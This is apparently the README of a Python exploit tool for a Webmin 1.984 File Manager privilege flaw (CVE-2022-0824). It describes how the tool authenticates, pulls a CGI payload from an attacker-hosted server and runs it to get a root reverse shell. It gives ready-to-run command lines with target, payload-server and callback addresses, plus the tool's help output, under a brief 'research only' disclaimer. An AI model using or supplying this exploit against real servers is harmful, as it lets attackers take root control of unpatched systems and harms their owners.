
Exploit de reverse shell pós-autenticação para Webmin <=1.984 aproveitando o escalonamento de privilégios do File Manager CVE-2022-0824. Baixa e executa um payload CGI para obter acesso root.
Webmin 1.984 e anteriores - Exploração de privilégios do Gerenciador de Arquivos (CVE-2022-0824 e CVE-2022-0829)
Usuários Webmin menos privilegiados que não possuem nenhuma restrição de módulo do Gerenciador de Arquivos configurada podem acessar arquivos com privilégios de root, se estiverem usando o tema Authentic padrão. Todos os sistemas com usuários Webmin adicionais não confiáveis devem atualizar imediatamente. Observe que os sistemas Virtualmin não são afetados por esse bug, devido à forma como os usuários Webmin proprietários de domínio são configurados.
Fonte: https://www.webmin.com/security.html
Este exploit aproveita a vulnerabilidade de Controle de Acesso Impróprio pós-autenticação no Gerenciador de Arquivos. Este exploit pode ser executado por qualquer atacante autenticado menos privilegiado. Ele baixa remotamente um arquivo .cgi de um servidor controlado pelo atacante e modifica sua permissão para ser um arquivo executável por todos. Uma vez feito isso, ele executa o arquivo .cgi para estabelecer uma conexão reversa ao servidor controlado pelo atacante com privilégios de root.
Referência: https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
$~ python3 Webmin-revshell.py -t [TARGET] -c [CREDENTIAL] -LS [PY3HTTP_SERVER] -L [CALLBACK_IP] -P [CALLBACK_PORT]
$~ python3 Webmin-revshell.py -t https://192.168.5.118:10000 -c user:user123 -LS 192.168.5.120:9090 -L 192.168.5.120 -P 4444
$~ python3 Webmin-revshell.py -h
usage: Webmin-revshell.py [-h] -t TARGET -c CREDENTIAL -LS PY3HTTP_SERVER -L CALLBACK_IP -P CALLBACK_PORT [-V]
Webmin CVE-2022-0824 Reverse Shell
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target full URL, https://www.webmin.local:10000
-c CREDENTIAL, --credential CREDENTIAL
Format, user:user123
-LS PY3HTTP_SERVER, --py3http_server PY3HTTP_SERVER
Http server for serving payload, ex 192.168.5.120:8080
-L CALLBACK_IP, --callback_ip CALLBACK_IP
Callback IP to receive revshell
-P CALLBACK_PORT, --callback_port CALLBACK_PORT
Callback port to receive revshell
-V, --version show program's version number and exit
target host: https://192.168.5.118:10000
attacker host: 192.168.5.120
- Webmin 1.984
- Ubuntu 18.04
- Kali 2021.3
The script is for security analysis and research only, hence I would not be liable if it is been used for illicit activities